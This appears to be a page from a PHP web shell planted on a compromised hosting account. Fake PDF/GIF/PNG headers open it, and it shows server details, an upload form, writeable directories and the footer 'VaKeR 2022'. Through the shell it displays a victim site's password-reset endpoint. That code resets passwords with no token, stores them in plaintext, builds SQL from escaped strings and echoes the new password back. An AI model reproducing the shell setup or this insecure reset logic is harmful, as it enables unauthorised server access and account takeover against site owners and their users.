%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_6ca89795/api/reset_password.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");

define('BASE_URL','https://meatandgo.fr/');

function response($status,$message,$data=[])
{
    echo json_encode([
        "status"=>$status,
        "message"=>$message,
        "data"=>$data
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);

    exit;
}

/*
|--------------------------------------------------------------------------
| Support Form Data + Raw JSON
|--------------------------------------------------------------------------
*/

$json = json_decode(file_get_contents("php://input"), true);

$email_or_phone = trim(
    $_REQUEST['email_or_phone']
    ?? $json['email_or_phone']
    ?? ''
);

$new_password = trim(
    $_REQUEST['new_password']
    ?? $json['new_password']
    ?? ''
);

$confirm_password = trim(
    $_REQUEST['confirm_password']
    ?? $json['confirm_password']
    ?? ''
);

/*
|--------------------------------------------------------------------------
| Validation
|--------------------------------------------------------------------------
*/

if(
    empty($email_or_phone) ||
    empty($new_password) ||
    empty($confirm_password)
)
{
    response(false,"Required Fields Missing",[

        "required_fields"=>[
            "email_or_phone",
            "new_password",
            "confirm_password"
        ],

        "example_url"=>
            BASE_URL.
            "api/reset_password.php?email_or_phone=test@gmail.com&new_password=123456&confirm_password=123456",

        "sample_request"=>[
            "email_or_phone"=>"test@gmail.com",
            "new_password"=>"123456",
            "confirm_password"=>"123456"
        ],

        "raw_json_example"=>[
            "email_or_phone"=>"test@gmail.com",
            "new_password"=>"123456",
            "confirm_password"=>"123456"
        ]
    ]);
}

if($new_password != $confirm_password)
{
    response(false,"New Password and Confirm Password do not match");
}

$email_or_phone = mysqli_real_escape_string(
    $conn,
    $email_or_phone
);

$new_password = mysqli_real_escape_string(
    $conn,
    $new_password
);

/*
|--------------------------------------------------------------------------
| Check OTP Verification
|--------------------------------------------------------------------------
*/

$resetQry = mysqli_query(
    $conn,
    "SELECT *
     FROM password_resets
     WHERE
     (
        email='$email_or_phone'
        OR phone='$email_or_phone'
     )
     AND is_verified='1'
     LIMIT 1"
);

if(mysqli_num_rows($resetQry)==0)
{
    response(false,"OTP Verification Required First",[

        "verify_otp_api"=>
            BASE_URL."api/verify_otp.php"
    ]);
}

$resetData = mysqli_fetch_assoc($resetQry);

$user_id = $resetData['user_id'];

/*
|--------------------------------------------------------------------------
| Update Password
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "UPDATE user
     SET password='$new_password'
     WHERE id='$user_id'"
);

/*
|--------------------------------------------------------------------------
| Remove Used OTP
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "DELETE FROM password_resets
     WHERE user_id='$user_id'"
);

/*
|--------------------------------------------------------------------------
| Success Response
|--------------------------------------------------------------------------
*/

response(true,"Password Updated Successfully",[

    "user_id"=>$user_id,

    "login_api"=>
        BASE_URL."api/login.php",

    "login_request"=>[
        "email"=>"test@gmail.com",
        "password"=>$new_password
    ]
]);

$conn->close();

?>

VaKeR 2022